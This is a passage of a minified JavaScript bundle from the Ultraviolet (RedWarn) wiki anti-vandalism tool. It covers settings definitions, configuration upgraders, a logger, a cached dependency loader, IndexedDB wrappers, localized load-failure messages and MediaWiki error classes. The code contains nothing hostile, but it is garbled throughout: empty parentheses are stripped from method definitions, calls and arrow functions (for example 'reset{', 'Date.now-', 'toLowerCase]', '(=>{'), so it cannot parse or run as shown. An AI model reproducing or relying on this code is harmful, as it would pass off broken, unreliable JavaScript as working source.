0,function(e){e[e.Switch=0]="Switch",e[e.Checkbox=1]="Checkbox",e[e.Checkboxes=2]="Checkboxes",e[e.Radio=3]="Radio",e[e.Dropdown=4]="Dropdown",e[e.Textbox=5]="Textbox",e[e.Number=6]="Number",e[e.ColorPicker=7]="ColorPicker",e[e.Style=8]="Style",e[e.Theme=9]="Theme",e[e.RevertOptions=10]="RevertOptions",e[e.PageIcons=11]="PageIcons"}(t.UIInputType||(t.UIInputType={}));class n{constructor(e,t,n){this._id=e,this.defaultValue=this.value=t,this.displayInfo=n}reset{this.value=this.defaultValue}get id{return this._id}toString{return JSON.stringify(this.toPrimitive)}toPrimitive{return{id:this.id,value:this.value}}static fromString(e){const t=JSON.parse(e);return n.fromPrimitive(t)}static fromPrimitive(e){return new n(e.id,e.value,null)}}t.Setting=n},8060:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(8428),o=n(2223),a=(0,i.__importDefault)(n(5504)),s=n(6535),l={0:e=>{for(const[t,n]of Object.entries(e))switch(t){case"rwRollbackDoneOption":switch(n){case"RWRBDONEmrevPg":e.revertDoneOption=s.RevertDoneOption.LatestRevision;break;case"RWRBDONEnewUsrMsg":e.revertDoneOption=s.RevertDoneOption.NewMessage;break;case"RWRBDONEwelcomeUsr":e.revertDoneOption=s.RevertDoneOption.QuickTemplate;break;case"RWRBDONEwarnUsr":e.revertDoneOption=s.RevertDoneOption.WarnUser;break;default:a.default.error("Unknown rwRollbackDoneOption:",n)}delete e.rwRollbackDoneOption;break;case"rollbackMethod":switch(e.rollbackMethod){case"rollbackLike":e.rollbackMethod=o.RevertMethod.Undo;break;case"rollback":e.rollbackMethod=o.RevertMethod.Rollback;break;default:e.rollbackMethod=o.RevertMethod.Unset}break;case"lastVersion":e.latestVersion="0.1."+e.latestVersion,delete e.lastVersion}return e.configVersion=1,e}};t.default=function(e){var t,n;let i=JSON.parse(JSON.stringify(e));for(i.configVersion<r.APP_CONFIG_VERSION;){if(null==l[null!==(t=i.configVersion)&&void 0!==t?t:0])throw`No updater for configuration version: ${i.configVersion}`;i=l[null!==(n=i.configVersion)&&void 0!==n?n:0](i)}return i}},3138:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(7353),o=(0,i.__importDefault)(n(1261));t.default=function{return{raiseActionButtons:new r.Setting("raiseActionButtons",!0,{uiInputType:r.UIInputType.Switch,title:o.default.t("prefs:accessibility.raiseActionButtons.title"),description:o.default.t("prefs:accessibility.raiseActionButtons.description")}),highContrast:new r.Setting("highContrast",!1,{uiInputType:r.UIInputType.Switch,title:o.default.t("prefs:accessibility.highContrast.title"),description:o.default.t("prefs:accessibility.highContrast.description")})}}},3684:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(8428),r=n(7353);t.default=function{return{latestVersion:new r.Setting("latestVersion",i.APP_VERSION,null),configVersion:new r.Setting("configVersion",i.APP_CONFIG_VERSION,null),neopolitan:new r.Setting("neopolitan",null)}}},8021:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(7353),o=(0,i.__importDefault)(n(1261)),a=n(6535),s=n(2223);t.default=function{return{revertOptions:new r.Setting("revertOptions",null,{title:o.default.t("prefs:revert.revertOption.title"),description:o.default.t("prefs:revert.revertOption.description"),uiInputType:r.UIInputType.RevertOptions}),revertDoneOption:new r.Setting("revertDoneOption",[],{title:o.default.t("prefs:revert.revertDoneOption.title"),description:o.default.t("prefs:revert.revertDoneOption.description"),uiInputType:r.UIInputType.Checkboxes,validOptions:[{name:o.default.t("prefs:revert.revertDoneOption.options.latest"),value:a.RevertDoneOption.LatestRevision},{name:o.default.t("prefs:revert.revertDoneOption.options.message"),value:a.RevertDoneOption.NewMessage},{name:o.default.t("prefs:revert.revertDoneOption.options.template"),value:a.RevertDoneOption.QuickTemplate},{name:o.default.t("prefs:revert.revertDoneOption.options.warn"),value:a.RevertDoneOption.WarnUser}]}),revertMethod:new r.Setting("revertMethod",s.RevertMethod.Undo,{title:o.default.t("prefs:revert.revertMethod.title"),description:o.default.t("prefs:revert.revertMethod.description"),uiInputType:r.UIInputType.Radio,validOptions:[{name:o.default.t("prefs:revert.revertMethod.options.rollback"),value:s.RevertMethod.Rollback},{name:o.default.t("prefs:revert.revertMethod.options.undo"),value:s.RevertMethod.Undo}]}),redirectIfNotLatest:new r.Setting("redirectIfNotLatest",!1,{title:o.default.t("prefs:revert.redirectIfNotLatest.title"),description:o.default.t("prefs:revert.redirectIfNotLatest.description"),uiInputType:r.UIInputType.Checkbox}),ignoreSameUserLatest:new r.Setting("ignoreSameUserLatest",!0,{title:o.default.t("prefs:revert.ignoreSameUserLatest.title"),description:o.default.t("prefs:revert.ignoreSameUserLatest.description"),uiInputType:r.UIInputType.Switch})}}},3825:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(4590),o=n(7353),a=(0,i.__importDefault)(n(1261));t.default=function{return{noticeOrder:new o.Setting("noticeOrder","title",{uiInputType:o.UIInputType.Radio,title:a.default.t("prefs:ui.noticeOrder.title"),description:a.default.t("prefs:ui.noticeOrder.description"),validOptions:[{name:a.default.t("prefs:ui.noticeOrder.options.title"),value:"title"},{name:a.default.t("prefs:ui.noticeOrder.options.template"),value:"template"}]}),pageIcons:new o.Setting("pageIcons",null,{uiInputType:o.UIInputType.PageIcons,title:a.default.t("prefs:ui.pageIcons.title"),description:a.default.t("prefs:ui.pageIcons.description")}),style:new o.Setting("style",r.DefaultAppStyle,{uiInputType:o.UIInputType.Style,title:a.default.t("prefs:ui.style.title"),description:a.default.t("prefs:ui.style.description")}),theme:new o.Setting("theme",null,{uiInputType:null,title:a.default.t("prefs:ui.theme.title"),description:a.default.t("prefs:ui.theme.description")}),campaigns:new o.Setting("campaigns",[])}}},8939:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(4802),o=n(8428),a=(0,i.__importDefault)(n(5504)),s=(0,i.__importDefault)(n(3962)),l=(0,i.__importDefault)(n(5695)),c=(0,i.__importDefault)(n(1261)),d=(0,i.__importDefault)(n(9158)),u=(0,i.__importDefault)(n(2458));class p{static get c{return p._loadedConfiguration}static preloadWikiConfiguration{return(0,i.__awaiter)(this,void 0,void 0,(function*{try{const e=o.APP_WIKI_CONFIGURATION_PAGES.map((e=>r.Page.fromTitle(e)));0,yield r.Page.getLatestRevisions(e,{followRedirects:!0,throwIfMissing:!1});const t=e.find((e=>null!=e.latestCachedRevision));a.default.debug(`Using configuration from ${t.title.getPrefixedDb}`),p.preloadedData=JSON.parse(t.latestCachedRevision.content)}catch(e){a.default.error(e);try{p.preloadedData=yield fetch(o.APP_FALLBACK_CONFIG).then((e=>e.json))}catch(e){throw e.message.includes("NetworkError")&&new d.default.AlertDialog({content:(0,u.default)(c.default.t("mediawiki:error.wikiConfigBlocked")),actions:[{data:`${c.default.t("ui:close")}`}]}),new AggregateError("Failed to get on-wiki configuration file.",e)}}return p.preloadedData}))}static loadWikiConfiguration{var e;return(0,i.__awaiter)(this,void 0,void 0,(function*{a.default.debug("Loading per-wiki configuration...");const t=null!==(e=p.preloadedData)&&void 0!==e?e:yield p.preloadWikiConfiguration;let n;n=t.configVersion<o.APP_WIKI_CONFIGURATION_VERSION?yield p.upgradeWikiConfiguration(t):t,n.wiki!=mw.config.get("wgDBname")?(a.default.warn(`External wiki configuration file loaded. Expecting "${n.wiki}", got "${mw.config.get("wgDBname")}" instead. Templates may be missing or broken.`),delete n.meta.tag):(t.configVersion,o.APP_WIKI_CONFIGURATION_VERSION),p._loadedConfiguration=p.deserializeWikiConfiguration(n),r.WarningManager.refresh,a.default.debug("Loaded per-wiki configuration.")}))}static upgradeWikiConfiguration(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return(0,s.default)(e)}))}static deserializeWikiConfiguration(e){const t=JSON.parse(JSON.stringify(e)),n=(i,r)=>{for(const[n,o]of Object.entries(r))null!=i[n]&&("function"==typeof o?i[n]=o(i[n],t,e):"function"==typeof o._self&&(i[n]=o._self(i[n],t,e)));for(const[e,t]of Object.entries(r))null!=i[e]&&"object"==typeof t&&(i[e]=n(i[e],t));return i};return n(e,l.default)}}t.default=p},5695:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(4802),r=n(2622),o=n(8686),a={warnings:{categories:e=>{const t=[];for(const[n,i]of Object.entries(e))t.push(Object.assign({id:n},i));return t},warnings:(e,t,n)=>{const r={};for(const[t,o]of Object.entries(e))r[t]=(0,i.deserializeWarning)(o,n.warnings.categories);return r},vandalismWarning:(e,t,n)=>n.warnings.warnings[e]},revertOptions:e=>{const t={};for(const[n,i]of Object.entries(e))t[n]=(0,r.deserializeRevertOption)(n,i);return t},reporting:e=>e.map((e=>(0,o.deserializeReportVenue)(e)))};t.default=a},3962:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(8428),r={};t.default=function(e){let t=e;for(t.configVersion<i.APP_WIKI_CONFIGURATION_VERSION&&null!=r[t.configVersion];)t=r[t.configVersion](t);if(t.configVersion===i.APP_WIKI_CONFIGURATION_VERSION)return t;throw new Error("Cannot upgrade wiki-configuration file: no valid configuration available.")}},5504:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.LogLevel=void 0;const i=n(655),r=n(8428),o=(0,i.__importDefault)(n(9071)),a=n(9213);var s;!function(e){e[e.Trace=0]="Trace",e[e.Debug=1]="Debug",e[e.Info=2]="Info",e[e.Warn=3]="Warn",e[e.Error=4]="Error",e[e.Fatal=5]="Fatal"}(s=t.LogLevel||(t.LogLevel={}));class l{static log(e,t,...n){var i,c;const d=Date.now-l.startTime,u=[];l.logLevel===s.Trace&&u.push(`[${d}ms] `),u.push(`[${r.APP_LOG_SIGNATURE}] `),u.push(`[${s[e].toUpperCase}] `),u.push(t),void 0===n[0]&&(n=[]),e>=l.logLevel&&console[e>s.Warn?"error":e==s.Warn?"warn":e===s.Info?"info":"log"](...n.length>0?[u.join(""),...n]:[u.join("")]);const p={tOffset:d,level:e,message:t,data:n.map((e=>e instanceof Error?{stack:e.stack,message:e.message,name:e.name}:e)),stack:e>s.Info?(new Error).stack:void 0};if(l.entries.push(p),p.level>s.Warn){l.info('If you would like to report this to the developers, please run "btoa(JSON.stringify(uv.Log.dump))" in this console.');const e=Date.now,t=/(log|error)@/g;t.test(p.stack)&&!n.reduce(((e,n)=>e||n instanceof Error&&t.test(n.stack)),!1)||o.default.i.errorLog.add({id:`${e}`,timestamp:e/1e3,code:null!==(c=null===(i=n.filter((e=>e instanceof a.UVFormattedError))[0])||void 0===i?void 0:i.code)&&void 0!==c?c:0,data:JSON.parse(JSON.stringify(p))})}}static dump{return{startTime:l.startTime,entries:l.entries}}static trace(e,t){l.log(s.Trace,e,t)}static debug(e,t){l.log(s.Debug,e,t)}static info(e,t){l.log(s.Info,e,t)}static warn(e,t){l.log(s.Warn,e,t)}static error(e,t){l.log(s.Error,e,t)}static fatal(e,t){l.log(s.Fatal,e,t)}}t.default=l,l.startTime=Date.now,l.entries=[],l.logLevel=window.uv_debug?s.Trace:s.Warn},5609:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(830),o=n(8910),a=(0,i.__importDefault)(n(9071)),s=(0,i.__importDefault)(n(5504)),l=(0,i.__importDefault)(n(268));class c{static resolve(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=(yield Promise.all(e.map((e=>c.buildDependencyElements(e))))).reduce(((e,t)=>e.concat(...t)),[]);document.head.append(...t),yield Promise.all(t.map((e=>e.promise)))}))}static unresolve{return(0,i.__awaiter)(this,void 0,void 0,(function*{document.querySelectorAll('[id^="uv_dep-"]').forEach((e=>{e.remove}))}))}static loadDependency(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=yield c.buildDependency(e);let n;return null==(n=document.getElementById(t.id))?document.head.append(t):n.parentElement.replaceChild(t,n),e.async?void 0:t.promise}))}static buildDependency(e){var t,n;return(0,i.__awaiter)(this,void 0,void 0,(function*{let i;const a=new Promise((e=>{i=e}));let s;return s="script"===e.type?Object.assign((0,r.h)("script",{id:`uv_dep-${null!==(t=e.id)&&void 0!==t?t:(0,o.generateId)(8)}`,type:"application/javascript",onLoad:=>{i(!0)},src:yield c.getDependencyURI(e)}),{promise:a}):Object.assign((0,r.h)("link",{id:`uv_dep-${null!==(n=e.id)&&void 0!==n?n:(0,o.generateId)(8)}`,rel:"stylesheet",type:"text/css",onLoad:=>{i(!0)},href:yield c.getDependencyURI(e)}),{promise:a}),s}))}static buildDependencyElements(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=[];for(const n of e)s.default.debug(`Loading ${n.type} dependency: ${n.src}`),t.push(c.buildDependency(n));return yield Promise.all(t)}))}static getDependencyElement(e){return document.getElementById(`uv_dep-${e}`)}static getDependencyURI(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=a.default.i.dependencyCache;if(e.cache){let n,r=yield t.get(e.id);const o==>(0,i.__awaiter)(this,void 0,void 0,(function*{var t;try{const{headers:n}=yield fetch(e.src,{method:"HEAD"});if(null!==(t=n.get("ETag")!==r.etag)&&void 0!==t&&t)return!0;if(new Date(n.get("Last-Modified")).getTime>r.lastCache)return!0}catch(e){return!1}}));if(n=null==r||(Date.now-r.lastCache>e.cache.duration||!e.cache.expireOnly&&!e.cache.delayedReload&&(yield o)),n){s.default.trace(`Dependency needs caching: ${e.src}. Recaching immediately...`);try{r=yield c.recacheDependency(t,e)}catch(e){null==r&&s.default.warn("Failed to load caching dependency. Falling back to browser...",e)}}else!e.cache.expireOnly&&e.cache.delayedReload&&l.default.addHook("postUIInject",(=>(0,i.__awaiter)(this,void 0,void 0,(function*{s.default.trace(`Checking if ${e.src} needs recaching...`),o.then((n=>(0,i.__awaiter)(this,void 0,void 0,(function*{n&&(yield c.recacheDependency(t,e),s.default.trace(`Finished HEAD checking for dependency: ${e.src}`))}))))}))));return null!=r&&"style"===e.type&&(r.data=r.data.replace(/\/\*\s*#\s*sourceMappingURL=.+?\s*\*\//g,"")),r?URL.createObjectURL(new Blob([r.data],{type:"script"===e.type?"application/javascript":"text/css"})):e.src}return e.src}))}static recacheDependency(e,t){var n;return(0,i.__awaiter)(this,void 0,void 0,(function*{s.default.debug(`Recaching dependency: ${t.src}`);const i=yield fetch(t.src),r={id:t.id,lastCache:Date.now,etag:null!==(n=i.headers.get("ETag"))&&void 0!==n?n:"",data:(yield i.text).toString};return yield e.put(r),s.default.trace(`Redownloaded dependency: ${t.src}`),r}))}}t.default=c},8428:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.APP_FALLBACK_CONFIG=t.APP_FALLBACK_WIKI=t.APP_WIKIS_SPEEDUP=t.NOWIKI_CLOSE=t.NOWIKI_OPEN=t.APP_WIKI_CONFIGURATION_VERSION=t.APP_WIKI_CONFIGURATION_PAGES=t.APP_SIGNATURE=t.APP_LOG_SIGNATURE=t.APP_DATABASE_VERSION=t.APP_DATABASE_NAME=t.APP_CONFIG_VERSION=t.APP_WORDRMARK=t.APP_LOGO=t.APP_VERSION_TAG=t.APP_VERSION=t.APP_BUILDINFO=void 0;const i=(0,n(655).__importDefault)(n(776)),r=n(4147);t.APP_BUILDINFO=i.default,t.APP_VERSION=r.version,t.APP_VERSION_TAG=`${t.APP_VERSION}`,t.APP_LOGO="https://w.wiki/55Qr",t.APP_WORDRMARK="https://w.wiki/55Qs",t.APP_CONFIG_VERSION=1,t.APP_DATABASE_NAME="ultravioletDB",t.APP_DATABASE_VERSION=1,t.APP_LOG_SIGNATURE=`Ultraviolet ${t.APP_VERSION_TAG}`,t.APP_SIGNATURE=" Collei ( talk ) ( contribs ) 02:34, 6 May 2023 (UTC)",t.APP_WIKI_CONFIGURATION_PAGES=["Uncyclopedia:Ultraviolet/configuration.json"],t.APP_WIKI_CONFIGURATION_VERSION=1,t.NOWIKI_OPEN=atob("PG5vd2lraT4="),t.NOWIKI_CLOSE=atob("PC9ub3dpa2k+"),t.APP_WIKIS_SPEEDUP=["uncy_en"],t.APP_FALLBACK_WIKI={indexPath:"https://en.wikipedia.org/w/index.php",apiPath:"https://en.wikipedia.org/w/api.php"},t.APP_FALLBACK_CONFIG="https://en.wikipedia.org/wiki/Wikipedia:Ultraviolet/configuration.json?action=raw&ctype=application/json"},7007:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(4802);class r{static get currentNamespaceID{return r.currentPage.namespace}static get currentNamespace{return r.currentPage.title.getNamespacePrefix.replace(/:$/,"")}static registerDependency(e){r.dependencies.push(e)}static initializeStore{r.wikiArticlePath=mw.config.get("wgArticlePath"),r.wikiBase=mw.config.get("wgServer"),r.wikiIndex=mw.config.get("wgServer")+mw.config.get("wgScript"),r.wikiAPI=`${mw.config.get("wgServer")+mw.config.get("wgScriptPath")}/api.php`,r.wikiID=mw.config.get("wgWikiID"),r.currentPage=i.Page.fromIDAndTitle(mw.config.get("wgArticleId"),mw.config.get("wgPageName")),window.UltravioletStore=r}static articlePath(e){return r.wikiArticlePath.replace(/\$1/g,mw.util.wikiUrlencode(e))}static getNamespaceId(e){return mw.config.get("wgNamespaceIds")[e.replace(/\s/g,"_").toLowerCase]}static isUserspacePage{return!1!==i.Page.isUserspacePage(r.currentPage)}static isSpecialPage{return!1!==i.Page.isSpecialPage(r.currentPage)}}t.default=r,r.startTime=new Date,r.dependencies=[{type:"style",id:"material-icons",src:"https://tools-static.wmflabs.org/fontcdn/css?family=Material+Icons",cache:{delayedReload:!0,duration:12096e5}}],r.styleStorage=null,r.windowFocused=!1,window.addEventListener("blur",(=>{r.windowFocused=!1})),window.addEventListener("focus",(=>{r.windowFocused=!0}))},4100:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(7340)),o=(0,i.__importDefault)(n(2482)),a=(0,i.__importDefault)(n(5504)),s=(0,i.__importDefault)(n(1261));t.default=class{constructor(e,t,n){this._databaseName=e,this._version=t,this._upgradeProcedures=n,this.setup}get databaseName{return this._databaseName}get version{return this._version}setup{return(0,i.__awaiter)(this,void 0,void 0,(function*{this.request=indexedDB.open(this._databaseName,this._version),this.request.addEventListener("upgradeneeded",(e=>(0,i.__awaiter)(this,void 0,void 0,(function*{a.default.debug(`Upgrade needed. Going from version ${e.oldVersion} to ${e.newVersion}`);for(let t=e.oldVersion;t<e.newVersion;t++)this._upgradeProcedures[e.oldVersion](this.request)})))),yield this.connect}))}connect{return(0,i.__awaiter)(this,void 0,void 0,(function*{return"done"!==this.request.readyState&&(yield new Promise(((e,t)=>{this.request.addEventListener("success",e),this.request.addEventListener("error",(=>t(new r.default("Failed to open database connection.",this.database)))),setInterval((=>{"done"===this.request.readyState&&e(null)}),5)}))),this.database=this.request.result}))}static createObjectStore(e,t,n,i){const r=e.createObjectStore(t,{keyPath:n});for(const e of Object.values(i))"string"==typeof e?r.createIndex(e,e):r.createIndex(e.name,e.name,e)}deleteDatabase{return(0,i.__awaiter)(this,void 0,void 0,(function*{return new Promise(((e,t)=>{const n=indexedDB.deleteDatabase(this._databaseName);n.addEventListener("error",(=>{t})),n.addEventListener("success",(=>{e})),"done"===n.readyState&&e}))}))}transaction(e,t,n){return(0,i.__awaiter)(this,void 0,void 0,(function*{try{return(n||this.database).transaction(e,t)}catch(e){return a.default.error(e),Promise.reject(e)}}))}runTransaction(e,t,n){return(0,i.__awaiter)(this,void 0,void 0,(function*{return new Promise(((o,a)=>(0,i.__awaiter)(this,void 0,void 0,(function*{const i=yield this.transaction(e,t);yield n(i),i.addEventListener("complete",(=>{o})),i.addEventListener("abort",(=>{a(new r.default("Transaction aborted",this.database,i))})),i.addEventListener("error",(=>{a(new r.default("Transaction erred",this.database,i))}))}))))}))}runRequest(e,t,n,o=!1){return(0,i.__awaiter)(this,void 0,void 0,(function*{return new Promise(((l,c)=>(0,i.__awaiter)(this,void 0,void 0,(function*{let i;try{i=yield this.transaction(e,t);const o=i.objectStore(e),a=n(o);a.addEventListener("success",(=>{l(a.result)})),a.addEventListener("abort",(=>{c(new r.default("Transaction aborted",this.database,i,a))}))}catch(d){if(a.default.error("Database error.",d),d instanceof DOMException&&"NotFoundError"===d.name&&(a.default.warn("Upgraded database might have been accessed on an older version of Ultraviolet/RedWarn, or database schema changes were made without deleting the browser IndexedDB. In either case, this database is likely no longer usable."),a.default.warn("Deleting IndexedDB database for a fix..."),yield this.deleteDatabase,mw.notify(s.default.t("misc:idb.forceDeleted")),!o))return yield this.setup,l(yield this.runRequest(e,t,n,!0));throw c(new r.default("A general error occured during IDB load",this.database,i,null))}}))))}))}store(e){return new o.default(this,e)}}},7340:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});class n extends Error{constructor(e,t,n,i){super(e),this.database=t,this.transaction=n,this.request=i}}t.default=n},2482:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655);t.default=class{constructor(e,t){this.database=e,this.storeName=t}runTransaction(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runTransaction(this.storeName,e,t)}))}add(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(n=>n.add(e,t)))}))}clear{return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(e=>e.clear))}))}count(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(t=>t.count(e)))}))}delete(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(t=>t.delete(e)))}))}get(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(t=>t.get(e)))}))}getKey(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(t=>t.getKey(e)))}))}getAll(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(n=>n.getAll(e,t)))}))}getAllKeys(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(n=>n.getAllKeys(e,t)))}))}openCursor(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(n=>n.openCursor(e,t)))}))}openKeyCursor(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readonly",(n=>n.openKeyCursor(e,t)))}))}put(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.database.runRequest(this.storeName,"readwrite",(n=>n.put(e,t)))}))}}},6791:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=(0,n(655).__importDefault)(n(4100));t.default={0:e=>{const t=e.result;i.default.createObjectStore(t,"cacheTracker","id",["timestamp"]),i.default.createObjectStore(t,"dependencyCache","id",["lastCache","etag","data"]),i.default.createObjectStore(t,"groupCache","name",["page","displayName"]),i.default.createObjectStore(t,"watchedPages","title",[]),i.default.createObjectStore(t,"recentPages","title",[]),i.default.createObjectStore(t,"errorLog","id",["timestamp","code","data"])}}},9071:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(4100)),o=n(8428),a=(0,i.__importDefault)(n(5504)),s=(0,i.__importDefault)(n(6791));class l{constructor{if(null!=l.i)throw new Error("UltravioletLocalDB already exists! (as `UltravioletLocalDB.i`)");this.idb=new r.default(o.APP_DATABASE_NAME,o.APP_DATABASE_VERSION,s.default)}get open{return this._open}connect{return(0,i.__awaiter)(this,void 0,void 0,(function*{a.default.trace("Connecting to Ultraviolet IDB...");const e=yield this.idb.connect;return a.default.trace("Connected to IDB."),this._open=!0,e.addEventListener("close",(=>{this._open=!1})),this.cacheTracker=this.idb.store("cacheTracker"),this.dependencyCache=this.idb.store("dependencyCache"),this.groupCache=this.idb.store("groupCache"),this.watchedPages=this.idb.store("watchedPages"),this.recentPages=this.idb.store("recentPages"),this.errorLog=this.idb.store("errorLog"),e}))}}t.default=l,l.i=new l},9491:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default={ar:[atob("2YHYtNmEINiq2K3ZhdmK2YQgUmVkV2Fybi4="),atob("2KXYsNinINin2LPYqtmF2LHYqiDYp9mE2YXYtNmD2YTYqSDYjCDZgdmK2LHYrNmJINin2YTYp9iq2LXYp9mEINio2YXYt9mI2LHZiiBSZWRXYXJuLiDZitiq2YUg2KrZiNmB2YrYsSDZhdi52YTZiNmF2KfYqiDYqti12K3ZititINil2LbYp9mB2YrYqSDYo9iv2YbYp9mHLg=="),atob("2KXYsNinINi32YTYqCDYo9it2K8g2KPYudi22KfYoSDZgdix2YrZgiBSZWRXYXJuINiMINmK2LHYrNmJINiq2YLYr9mK2YUg2KfZhNmG2LUg2YXZhiDYrtmE2KfZhCDZgtmG2KfYqSDYrtin2LXYqSAo2KjYsdmK2K8g2KXZhNmD2KrYsdmI2YbZiiDYjCBJUkMg2Iwg2KXZhNiuKS4="),atob("2YrZhdmD2YbZgyDYp9mE2YbZgtixINio2LLYsSDYp9mE2YXYp9mI2LMg2KfZhNij2YrZhdmGINmB2YjZgiDYp9mE2YbYtSDZiNiq2K3Yr9mK2K8gItmG2LPYriDZg9in2KbZhiIg2YTZhNmG2LPYriDYqNi02YPZhCDYo9iz2LHYuS4=")],de:["RedWarn konnte nicht geladen werden.","Wenn das Problem weiterhin besteht, wenden Sie sich bitte an die RedWarn-Entwickler. Zusätzliche Informationen zur Fehlersuche finden Sie unten.","Wenn Sie von einem RedWarn-Teammitglied darum gebeten werden, übermitteln Sie den Text bitte über einen privaten Kanal (E-Mail, IRC, etc.).",'Sie können mit der rechten Maustaste auf den Text klicken und "Objekt kopieren" wählen, um ihn schneller zu kopieren.'],en:["Ultraviolet failed to load.","If the problem persists, please contact Ultraviolet's developers. Additional debug information is provided below.","If requested by an Ultraviolet team member, please provide the text through a private channel (email, IRC, etc.).",'You can right click the text and select "Copy Object" to copy faster.'],es:["No se ha podido cargar RedWarn.","Si el problema persiste, póngase en contacto con los desarrolladores de RedWarn. A continuación se proporciona información adicional de depuración.","Si lo solicita un miembro del equipo de RedWarn, por favor proporcione el texto a través de un canal privado (correo electrónico, IRC, etc.).",'Puede hacer clic con el botón derecho del ratón en el texto y seleccionar "Copiar objeto" para copiarlo más rápidamente.'],fr:["Le chargement de RedWarn a échoué.","Si le problème persiste, veuillez contacter les développeurs de RedWarn. Des informations de débogage supplémentaires sont fournies ci-dessous.","Si un membre de l'équipe RedWarn vous le demande, veuillez fournir le texte par un canal privé (email, IRC, etc.).",'Vous pouvez faire un clic droit sur le texte et sélectionner "Copier l\'objet" pour copier plus rapidement.'],nl:["RedWarn is niet geladen.","Als het probleem aanhoudt, neem dan contact op met de ontwikkelaars van RedWarn. Aanvullende debug-informatie wordt hieronder verstrekt.","Indien een RedWarn teamlid hierom vraagt, kunt u de tekst via een privé kanaal NaN",'U kunt rechts op de tekst klikken en "Copy Object" selecteren om sneller te kopiëren.'],ja:["RedWarnのロードに失敗しました. ","問題は解決しない場合は、RedWarnの開発者にお問い合わせください. ","RedWarnの開発者から要請があった場合は、プライベートな方法（メールとかIRCなど）通じてテキストを提供してください. ","テキストを右クリックして「オブジェクトのコピー」を選択すると、より速くコピーはできます. "],zh:["RedWarn 加载失败. ","如果问题仍然存在，请联系RedWarn的开发者. 下面提供了额外的调试信息. ","如果RedWarn团队成员要求，请通过私人渠道（电子邮件、IRC等）提供文本. ",'你可以右击文本并选择 "复制对象" 来更快地复制. ']}},2303:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SpecializedMediaWikiErrors=t.GenericAPIError=t.UserInvalidError=t.UserMissingError=t.RevisionNotLatestError=t.SectionIndexMissingError=t.RevisionMissingError=t.PageInvalidError=t.PageMissingError=void 0;const i=(0,n(655).__importStar)(n(9213));class r extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4001"}}t.PageMissingError=r,r.message="The page could not be found.";class o extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4002"}}t.PageInvalidError=o,o.message="The page  could not be found. Reason: ";class a extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4003"}}t.RevisionMissingError=a,a.message="There is no revision with ID .";class s extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4002"}}t.SectionIndexMissingError=s,s.message="Revision with ID does not contain a section with index .";class l extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4005"}}t.RevisionNotLatestError=l,l.message="Target revision  is not the latest revision.";class c extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4006"}}t.UserMissingError=c,c.message="The user  could not be found.";class d extends i.UVFormattedError{constructor{super(...arguments),this.code="UV4007"}}t.UserInvalidError=d,d.message="The username  is invalid.";class u extends i.default{constructor(e){super,this.error=e,this.code="UV4000"}get message{var e,t,n;return"string"==typeof this.error?this.error:null!==(n=null!==(t=null!==(e=this.error.text)&&void 0!==e?e:this.error.info)&&void 0!==t?t:this.error.html)&&void 0!==n?n:"Unknown MediaWiki API error."}}t.GenericAPIError=u,t.SpecializedMediaWikiErrors={missingtitle:r,nosuchrevid:a}},9213:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UVAggregateError=t.UVFormattedError=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261));class o{constructor{this.code="UV0000"}get message{return 